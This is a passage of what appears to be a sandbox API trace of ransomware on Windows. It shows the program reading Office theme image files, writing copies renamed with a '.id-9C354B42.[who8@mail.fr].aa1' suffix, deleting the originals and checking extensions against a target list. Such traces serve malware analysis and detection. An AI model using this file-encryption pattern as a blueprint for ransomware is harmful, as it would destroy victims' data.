lpString2=".GIF") returned -1 [0221.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0221.150] lstrlenW (lpString=".jpg") returned 4 [0221.150] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0221.150] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0221.150] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0221.150] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0221.152] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1363) returned 1 [0221.152] CloseHandle (hObject=0x1f8) returned 1 [0221.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 0x20 [0221.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0221.152] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0221.152] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.152] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.153] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0221.200] GetLastError () returned 0x0 [0221.200] ReadFile (in: hFile=0x1f8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x553, lpOverlapped=0x0) returned 1 [0221.257] WriteFile (in: hFile=0x204, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x560, lpOverlapped=0x0) returned 1 [0221.258] ReadFile (in: hFile=0x1f8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.258] WriteFile (in: hFile=0x204, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0221.258] SetEndOfFile (hFile=0x204) returned 1 [0221.258] CloseHandle (hObject=0x204) returned 1 [0221.258] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.258] SetEndOfFile (hFile=0x1f8) returned 1 [0221.259] CloseHandle (hObject=0x1f8) returned 1 [0221.259] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0221.259] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 1 [0221.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0221.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0221.260] lstrlenW (lpString=".doc") returned 4 [0221.260] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0221.260] lstrlenW (lpString=".docx") returned 5 [0221.260] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0221.260] lstrlenW (lpString=".pdf") returned 4 [0221.260] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0221.260] lstrlenW (lpString=".xls") returned 4 [0221.260] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0221.260] lstrlenW (lpString=".xlsx") returned 5 [0221.260] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0221.260] lstrlenW (lpString=".ppt") returned 4 [0221.260] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0221.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0221.260] lstrlenW (lpString=".zip") returned 4 [0221.260] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0221.260] lstrlenW (lpString=".rar") returned 4 [0221.260] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0221.261] lstrlenW (lpString=".bz2") returned 4 [0221.261] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0221.261] lstrlenW (lpString=".7z") returned 3 [0221.261] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0221.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0221.261] lstrlenW (lpString=".dbf") returned 4 [0221.261] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0221.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0221.261] lstrlenW (lpString=".1cd") returned 4 [0221.261] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0221.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0221.261] lstrlenW (lpString=".jpg") returned 4 [0221.261] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0221.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0221.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0221.261] lstrlenW (lpString=".doc") returned 4 [0221.261] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0221.261] lstrlenW (lpString=".docx") returned 5 [0221.261] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0221.261] lstrlenW (lpString=".pdf") returned 4 [0221.261] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0221.261] lstrlenW (lpString=".xls") returned 4 [0221.261] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0221.261] lstrlenW (lpString=".xlsx") returned 5 [0221.261] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0221.261] lstrlenW (lpString=".ppt") returned 4 [0221.261] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0221.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0221.262] lstrlenW (lpString=".zip") returned 4 [0221.262] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0221.262] lstrlenW (lpString=".rar") returned 4 [0221.262] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0221.262] lstrlenW (lpString=".bz2") returned 4 [0221.262] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0221.262] lstrlenW (lpString=".7z") returned 3 [0221.262] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0221.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0221.262] lstrlenW (lpString=".dbf") returned 4 [0221.262] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0221.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0221.262] lstrlenW (lpString=".1cd") returned 4 [0221.262] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0221.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0221.262] lstrlenW (lpString=".jpg") returned 4 [0221.262] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0221.262] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0221.262] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0221.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0221.263] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=20371) returned 1 [0221.263] CloseHandle (hObject=0x1f8) returned 1 [0221.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 0x20 [0221.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0221.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0221.263] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.263] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0221.264] GetLastError () returned 0x0 [0221.264] ReadFile (in: hFile=0x1f8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x4f93, lpOverlapped=0x0) returned 1 [0221.319] WriteFile (in: hFile=0x204, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x4fa0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x4fa0, lpOverlapped=0x0) returned 1 [0221.320] ReadFile (in: hFile=0x1f8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.320] WriteFile (in: hFile=0x204, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.320] SetEndOfFile (hFile=0x204) returned 1 [0221.321] CloseHandle (hObject=0x204) returned 1 [0221.321] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.321] SetEndOfFile (hFile=0x1f8) returned 1 [0221.322] CloseHandle (hObject=0x1f8) returned 1 [0221.322] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0221.322] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 1 [0221.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0221.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0221.322] lstrlenW (lpString=".doc") returned 4 [0221.322] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0221.322] lstrlenW (lpString=".docx") returned 5 [0221.322] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0221.322] lstrlenW (lpString=".pdf") returned 4 [0221.322] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0221.322] lstrlenW (lpString=".xls") returned 4 [0221.322] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0221.322] lstrlenW (lpString=".xlsx") returned 5 [0221.322] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0221.322] lstrlenW (lpString=".ppt") returned 4 [0221.322] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0221.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0221.322] lstrlenW (lpString=".zip") returned 4 [0221.323] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0221.323] lstrlenW (lpString=".rar") returned 4 [0221.323] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0221.323] lstrlenW (lpString=".bz2") returned 4 [0221.323] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0221.323] lstrlenW (lpString=".7z") returned 3 [0221.323] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0221.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0221.323] lstrlenW (lpString=".dbf") returned 4 [0221.323] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0221.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0221.323] lstrlenW (lpString=".1cd") returned 4 [0221.323] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0221.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0221.323] lstrlenW (lpString=".jpg") returned 4 [0221.323] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0221.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0221.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0221.323] lstrlenW (lpString=".doc") returned 4 [0221.323] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0221.323] lstrlenW (lpString=".docx") returned 5 [0221.323] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0221.323] lstrlenW (lpString=".pdf") returned 4 [0221.323] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0221.323] lstrlenW (lpString=".xls") returned 4 [0221.323] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0221.323] lstrlenW (lpString=".xlsx") returned 5 [0221.323] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0221.323] lstrlenW (lpString=".ppt") returned 4 [0221.323] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0221.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0221.323] lstrlenW (lpString=".zip") returned 4 [0221.324] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0221.324] lstrlenW (lpString=".rar") returned 4 [0221.324] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0221.324] lstrlenW (lpString=".bz2") returned 4 [0221.324] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0221.324] lstrlenW (lpString=".7z") returned 3 [0221.324] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0221.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0221.324] lstrlenW (lpString=".dbf") returned 4 [0221.324] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0221.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0221.324] lstrlenW (lpString=".1cd") returned 4 [0221.324] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0221.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0221.324] lstrlenW (lpString=".jpg") returned 4 [0221.324] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0221.324] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0221.324] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0221.324] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0221.324] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=1293) returned 1 [0221.324] CloseHandle (hObject=0x1f8) returned 1 [0221.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 0x20 [0221.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0221.325] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0221.325] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.325] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.325] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0221.574] GetLastError () returned 0x0 [0221.574] ReadFile (in: hFile=0x1f8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x50d, lpOverlapped=0x0) returned 1 [0221.594] WriteFile (in: hFile=0x170, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x510, lpOverlapped=0x0) returned 1 [0221.653] ReadFile (in: hFile=0x1f8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.653] WriteFile (in: hFile=0x170, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0221.653] SetEndOfFile (hFile=0x170) returned 1 [0221.653] CloseHandle (hObject=0x170) returned 1 [0221.654] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.654] SetEndOfFile (hFile=0x1f8) returned 1 [0221.654] CloseHandle (hObject=0x1f8) returned 1 [0221.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0221.655] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\preview.gif")) returned 1 [0221.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0221.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0221.655] lstrlenW (lpString=".doc") returned 4 [0221.655] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0221.655] lstrlenW (lpString=".docx") returned 5 [0221.655] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0221.655] lstrlenW (lpString=".pdf") returned 4 [0221.655] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0221.655] lstrlenW (lpString=".xls") returned 4 [0221.655] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0221.655] lstrlenW (lpString=".xlsx") returned 5 [0221.655] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0221.655] lstrlenW (lpString=".ppt") returned 4 [0221.655] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0221.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0221.655] lstrlenW (lpString=".zip") returned 4 [0221.656] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0221.656] lstrlenW (lpString=".rar") returned 4 [0221.656] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0221.656] lstrlenW (lpString=".bz2") returned 4 [0221.656] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0221.656] lstrlenW (lpString=".7z") returned 3 [0221.656] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0221.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0221.656] lstrlenW (lpString=".dbf") returned 4 [0221.656] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0221.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0221.656] lstrlenW (lpString=".1cd") returned 4 [0221.656] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0221.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0221.656] lstrlenW (lpString=".jpg") returned 4 [0221.656] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0221.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0221.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0221.656] lstrlenW (lpString=".doc") returned 4 [0221.656] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0221.656] lstrlenW (lpString=".docx") returned 5 [0221.656] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0221.656] lstrlenW (lpString=".pdf") returned 4 [0221.656] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0221.656] lstrlenW (lpString=".xls") returned 4 [0221.656] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0221.656] lstrlenW (lpString=".xlsx") returned 5 [0221.656] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0221.656] lstrlenW (lpString=".ppt") returned 4 [0221.656] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0221.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0221.656] lstrlenW (lpString=".zip") returned 4 [0221.656] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0221.657] lstrlenW (lpString=".rar") returned 4 [0221.657] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0221.657] lstrlenW (lpString=".bz2") returned 4 [0221.657] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0221.657] lstrlenW (lpString=".7z") returned 3 [0221.657] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0221.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0221.657] lstrlenW (lpString=".dbf") returned 4 [0221.657] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0221.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\PREVIEW.GIF") returned 75 [0221.657] lstrlenW (lpString=".1cd") returned 4 [0221.657] lstrcmpiW (lpString1=".1cd", 